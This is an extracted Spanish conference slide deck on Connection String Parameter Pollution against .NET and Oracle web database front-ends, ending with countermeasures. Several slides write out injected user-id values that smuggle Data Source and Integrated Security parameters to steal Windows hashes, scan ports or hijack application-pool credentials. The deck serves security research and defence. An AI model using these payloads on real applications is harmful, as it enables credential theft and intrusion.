Download - Connection String Parameter Pollution
![Page 1: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/1.jpg)
Chema AlonsoInformática 64Chema AlonsoInformática 64
![Page 2: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/2.jpg)
Cadenas de Conexión
• Definen la manera en que una aplicación web se conecta a un repositorio de datos
• Hay cadenas de conexión para:– Bases de datos
– Archivos en sistemas de ficheros
– Servidores LDAP en procesos de Binding
– …
![Page 3: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/3.jpg)
Cadenas de conexión a BBDD
Data Source = myServerAddress;
Initial Catalog = myDataBase;
User Id = myUsername;
Password = myPassword;
![Page 4: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/4.jpg)
Se pueden encontrar en Google
![Page 5: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/5.jpg)
Se pueden encontrar en Google
![Page 6: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/6.jpg)
Ficheros UDL
![Page 7: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/7.jpg)
Credenciales
Cuentas de Sistema Operativo
Data Source = myServerAddress;
Initial Catalog = myDataBase;
User Id = myUsername;
Password = myPassword;
Integrated Security = SSPI/True/Yes;
Cuentas de la Base de datos
Data Source = myServerAddress;
Initial Catalog = myDataBase;
User Id = myUsername;
Password = myPassword;
Integrated Security = No;
![Page 8: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/8.jpg)
Syslogins
Tabla usuarios
Cadena de conexión
1.- La aplicación web se conecta con credenciales de la BD.
2.- Se piden credenciales al usuario.
3.- La aplicación web comprueba las credenciales en una tabla de usuarios.
Select from tabla
La aplicación Web controla la autenticación
Motor de Base de datos App en Servidor Web
Validación usuarios en aplicación web
![Page 9: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/9.jpg)
Syslogins Cadena de conexión
1.- Se piden credenciales al usuario.
2.- La aplicación web construye la cadena de conexión con las credenciales del usuario.
El motor de BBDD controla la autenticación
Validación usuarios en motor de BBDD
Motor de Base de datos App en Servidor Web
![Page 10: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/10.jpg)
Connection String Attacks
• Es posible inyectar parámetros en las cadenas de conexión separándolos por punto y coma.
Data Source = myServerAddress;Initial Catalog = myDataBase;Integrated Security = NO;User Id = myUsername;Password = myPassword; Encryption = Off ;
![Page 11: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/11.jpg)
ConnectionStringBuiler
• Incluido en el .NET Framework 2.0
• Crea cadenas de conexión mediante parámetros
• Impide la inyección de código
![Page 12: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/12.jpg)
La realidad
![Page 13: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/13.jpg)
Connection String Parameter Pollution
• La idea es inyectar un parámetro que ya existe
• Duplicando el valor del parámetro, el último prevalece en los entornos .NET.
• Esto permite a un atacante cambiar completamente el funcionamiento de la cadena de conexión y de la aplicación.
![Page 14: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/14.jpg)
CSPP Attack 1: Robo de Hash
1.- Se monta un servidor controlado:Rogue_Server
2.- Se activa un sniffer de credencialesCain/Wireshark
3.- Se hace una polución del parámetroData_Source=Rogue_Server
4.- Se fuerza el uso de autenticación WindowsIntegrated Security=true
![Page 15: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/15.jpg)
CSPP Attack 1: Robo de Hash
Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;
Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data
Source=Rogue_Server; Password=;Integrated Security=True;
![Page 16: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/16.jpg)
CSSP 1:ASP.NET Enterprise Manager
![Page 17: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/17.jpg)
CSPP Attack 2: Port Scanning
1.- Se hace una polución del parámetro con el servidor a escanear y el puerto
Data_Source=Target_Server,target_Port
2.- Se evalúan los mensajes de error de la aplicación
![Page 18: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/18.jpg)
CSPP Attack 2: Port Scanning
Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;
Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data
Source=Target_Server, Target_Port; Password=Void;
![Page 19: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/19.jpg)
CSPP 2: myLittleAdmin
Puerto Abierto
![Page 20: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/20.jpg)
CSPP 2: myLittleAdmin
Puerto Cerrado
![Page 21: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/21.jpg)
CSPP Attack 3: Hijacking Web Credentials
1.- Se hace una polución del parámetro
Data_Source=Target_Server
2.- Se fuerza el uso de autenticación Windows
Integrated Security=true
3.- El pool de aplicaciones envía la cuenta de Windows con que está corriendo para autenticarse en el motor de bases de datos
![Page 22: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/22.jpg)
CSPP Attack 3: Hijacking Web Credentials
Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;
Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data
Source=Target_Server; Password=;Integrated Security=true;
![Page 23: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/23.jpg)
CSPP Attack 3: Web Data Administrator
![Page 24: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/24.jpg)
CSPP Attack 3: myLittleAdmin/myLittleBackup
![Page 25: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/25.jpg)
CSPP Attack 3: ASP.NET Enterprise Manager
![Page 26: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/26.jpg)
Otras bases de datos
• MySQL no soporta autenticación integrada
• Oracle SÍ soporta autenticación integrada en Windows y es posible realizar estos ataques– Además es posible cambiar la conexión de nivel
para pasarla a conexión como sysdba
![Page 27: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/27.jpg)
DemoDemo
![Page 28: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/28.jpg)
myLittleAdmin/myLittleBackup
myLittleTools ha sacado un advisory de seguridad y un parche
![Page 29: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/29.jpg)
ASP.NET Enterprise Manager
• ASP.NET Enterprise Manager está “abandonada”, pero se dispone del código fuente
![Page 30: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/30.jpg)
ASP.NET Enterprise Manager
• ASP.NET Enterprise Manager está “abandonada”, pero se dispone del código fuente
![Page 31: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/31.jpg)
ASP.NET Web Data Admistrator
ASP Web Data Administrator es segura en su versión liberada en CodePlex
![Page 32: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/32.jpg)
Contramedidas
• Fortificación de Firewall
• Fortificación de cuentas utilizadas en pool de aplicaciones y bases de datos.
• Usar ConnectionStringBuilder
• Filtrar el ;)
![Page 33: Connection String Parameter Pollution](https://reader034.vdocuments.mx/reader034/viewer/2022042507/5596e5371a28ab573a8b4671/html5/thumbnails/33.jpg)
¿Preguntas?
ContactoChema Alonso [email protected]://www.informatica64.comhttp://elladodelmal.blogspot.com
AutoresChema Alonso Manuel FernándezAlejandro Martín BailónAntonio Guzmán